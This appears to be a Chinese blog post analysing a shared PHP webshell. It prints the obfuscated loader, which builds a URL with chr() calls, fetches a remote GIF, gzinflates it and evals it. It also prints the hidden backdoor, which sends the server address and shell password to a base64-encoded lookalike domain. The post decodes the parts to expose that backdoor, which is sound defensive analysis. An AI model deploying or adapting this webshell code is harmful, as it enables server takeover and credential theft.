一次对php大马的后门的简单分析
有人分享了一个php大马(说是过waf),八成有后门,简单分析了一次
<?php
$password='Shiqi';//登录密码(支持菜刀)
//----------功能程序------------------//
$c="chr";
session_start();
if(empty($_SESSION['PhpCode'])){
$url=$c(104).$c(116).$c(116).$c(112).$c(58).$c(47);
$url.=$c(47).$c(105).$c(46).$c(110).$c(105).$c(117);
$url.=$c(112).$c(105).$c(99).$c(46).$c(99).$c(111);
$url.=$c(109).$c(47).$c(105).$c(109).$c(97).$c(103);
$url.=$c(101).$c(115).$c(47).$c(50).$c(48).$c(49).$c(55);
$url.=$c(47).$c(48).$c(53).$c(47).$c(50).$c(49).$c(47);
$url.=$c(118).$c(49).$c(81).$c(82).$c(49).$c(77).$c(46).$c(103).$c(105).$c(102);
$get=chr(102).chr(105).chr(108).chr(101).chr(95);
$get.=chr(103).chr(101).chr(116).chr(95).chr(99);
$get.=chr(111).chr(110).chr(116).chr(101).chr(110);
$get.=chr(116).chr(115);
$_SESSION['PhpCode']=$get($url);}
$un=$c(103).$c(122).$c(105).$c(110);
$un.=$c(102).$c(108).$c(97).$c(116).$c(base64_decode('MTAx'));
@eval($un($_SESSION['PhpCode']));
?>
一共有三个变量,url、 u r l 、 get、$un,首先对着几个变量ascii转成字符串,看看是什么,用echo输出即可。
就是个简单的基于base64加gzinflate加密
还原一下:
<?php
$password='Shiqi';//登录密码(支持菜刀)
//----------功能程序------------------//
session_start();
if(empty($_SESSION['PhpCode'])){
$url = "http://i.niupic.com/images/2017/05/21/v1QR1M.gif";
$get = "file_get_contents";
$_SESSION['PhpCode']=$get($url);}
$un = "gzinflate";
@eval($un($_SESSION['PhpCode']));
?>
现在马子的路数很清楚了通过远程下载主力代码
到这儿我们还是没发现后门,通过wget下载v1QR1M.gif改后缀txt乱码(gzinflate压缩编码本该乱码)
后门部分:
if(isset($_GET['login'])=='geturl'){
@set_time_limit(10);
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$serverp = envlpass;
$copyurl = base64_decode('SFRUUDovL1dXVy5GQUNFQjBPSy5DQy9lcnJvci5waHA/bmFtZT0=');
$url=$copyurl.$serveru.'&pass='.$serverp;
$url=urldecode($url);
GetHtml($url);
}
function geturl(){
@set_time_limit(10);
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$serverp = envlpass;
$copyurl = base64_decode('');
$url=$copyurl.$serveru.'&p='.$serverp;
$url=urldecode($url);
GetHtml($url);
}
在1416行
SFRUUDovL1dXVy5GQUNFQjBPSy5DQy9lcnJvci5waHA/bmFtZT0=通过解码得出后门地址HTTP://WWW.FACEB0OK.CC/error.php?name=